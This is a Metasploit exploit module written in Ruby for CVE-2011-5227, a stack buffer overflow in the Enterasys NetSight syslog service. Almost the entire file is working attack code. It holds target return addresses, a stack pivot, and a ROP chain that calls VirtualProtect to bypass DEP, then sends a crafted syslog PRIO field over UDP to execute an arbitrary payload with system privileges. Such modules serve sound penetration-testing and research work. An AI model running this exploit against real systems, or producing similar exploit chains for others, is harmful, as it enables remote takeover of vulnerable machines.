##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = NormalRanking

 include Msf::Exploit::Remote::Udp

 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'Enterasys NetSight nssyslogd.exe Buffer Overflow',
   'Description'    => %q{
     This module exploits a stack buffer overflow in Enterasys NetSight. The
    vulnerability exists in the Syslog service (nssylogd.exe) when parsing a specially
    crafted PRIO from a syslog message. The module has been tested successfully on
    Enterasys NetSight 4.0.1.34 over Windows XP SP3 and Windows 2003 SP2.
   },
   'Author'         =>
    [
     'Jeremy Brown', # Vulnerability discovery
     'rgod <rgod[at]autistici.org>', # Vulnerability discovery
     'juan vazquez' # Metasploit module
    ],
   'References'     =>
    [
     ['CVE', '2011-5227'],
     ['OSVDB', '77971'],
     ['BID', '51124'],
     ['URL', 'http://www.zerodayinitiative.com/advisories/ZDI-11-350/'],
     ['URL', 'https://cp-enterasys.kb.net/article.aspx?article=14206&p=1']
    ],
   'Payload'        =>
    {
     'BadChars' => "\x00",
     'Space' => 3000,
     'DisableNops' => true,
     'PrependEncoder' => "\x81\xc4\x54\xf2\xff\xff" # Stack adjustment # add esp, -3500
    },
   'Platform'       => 'win',
   'Targets'        =>
    [
     ['Enterasys NetSight 4.0.1.34 / Windows XP SP3',
      {
       'Offset' => 43,
       'Ret' => 0x77c4e444 # ADD ESP,30 # POP EDX # RETN # from msvcrt
      }
     ],
     ['Enterasys NetSight 4.0.1.34 / Windows 2003 SP2',
      {
       'Offset' => 43,
       'Ret' => 0x77bdf444 # ADD ESP,30 # POP EDX # RETN # from msvcrt
      }
     ]
    ],
   'Privileged'     => true,
   'DisclosureDate' => 'Dec 19 2011',
   'DefaultTarget'  => 1
   ))

  register_options([ Opt::RPORT(514) ], self.class)
 end

 def junk(n=4)
  return rand_text_alpha(n).unpack("V")[0].to_i
 end

 def nop
  return make_nops(4).unpack("V")[0].to_i
 end

 def get_stackpivot
  stack_pivot = ''
  case target.name
  when /Windows XP SP3/
   stack_pivot << [0x77c4e448].pack("V") #ret
   stack_pivot << [0x77c4e448].pack("V") #ret
   stack_pivot << [0x77c4e448].pack("V") #ret
   stack_pivot << [0x77c4e448].pack("V") #ret
   stack_pivot << [0x77c4e444].pack("V") # ADD ESP,30 # POP EDX # RETN
  when /Windows 2003 SP2/
   stack_pivot << [0x77bdf448].pack("V") #ret
   stack_pivot << [0x77bdf448].pack("V") #ret
   stack_pivot << [0x77bdf448].pack("V") #ret
   stack_pivot << [0x77bdf448].pack("V") #ret
   stack_pivot << [0x77bdf444].pack("V") # ADD ESP,30 # POP EDX # RETN
  end
  return stack_pivot
 end

 def get_payload
  my_payload = ''

  case target.name
  when /Windows XP SP3/
   jmp_esp = [0x77c35459].pack("V")
   my_payload << jmp_esp
  when /Windows 2003 SP2/
   rop_gadgets =
    [
     0x77bb2563, # POP EAX # RETN
     0x77ba1114, # <- *&VirtualProtect()
     0x77bbf244, # MOV EAX,DWORD PTR DS:[EAX] # POP EBP # RETN
     junk,
     0x77bb0c86, # XCHG EAX,ESI # RETN
     0x77bc9801, # POP EBP # RETN
     0x77be2265, # ptr to 'push esp #  ret'
     0x77bb2563, # POP EAX # RETN
     #0x03C0990F,
     0x03c09f0f,
     0x77bdd441, # SUB EAX, 03c0940f  (dwSize, 0xb00 -> ebx)
     0x77bb48d3, # POP EBX, RET
     0x77bf21e0, # .data
     0x77bbf102, # XCHG EAX,EBX # ADD BYTE PTR DS:[EAX],AL # RETN
     0x77bbfc02, # POP ECX # RETN
     0x77bef001, # W pointer (lpOldProtect) (-> ecx)
     0x77bd8c04, # POP EDI # RETN
     0x77bd8c05, # ROP NOP (-> edi)
     0x77bb2563, # POP EAX # RETN
     0x03c0984f,
     0x77bdd441, # SUB EAX, 03c0940f
     0x77bb8285, # XCHG EAX,EDX # RETN
     0x77bb2563, # POP EAX # RETN
     nop,
     0x77be6591, # PUSHAD # ADD AL,0EF # RETN
    ].pack("V*")
   my_payload << rop_gadgets
  end

  my_payload << payload.encoded
  return my_payload
 end

 def exploit
  connect_udp

  prio = "<"
  prio << rand_text_alpha(19)
  prio << get_stackpivot
  prio << rand_text_alpha(4)
  prio << [target.ret].pack("V")
  prio << ">"

  message = prio
  message << rand_text_alpha(9 + (15 - Rex::Socket.source_address(datastore['RHOST']).length)) # Allow to handle the variable offset due to the source ip length
  message << get_payload

  print_status("#{rhost}:#{rport} - Trying to exploit #{target.name}...")
  udp_sock.put(message)

  disconnect_udp
 end

end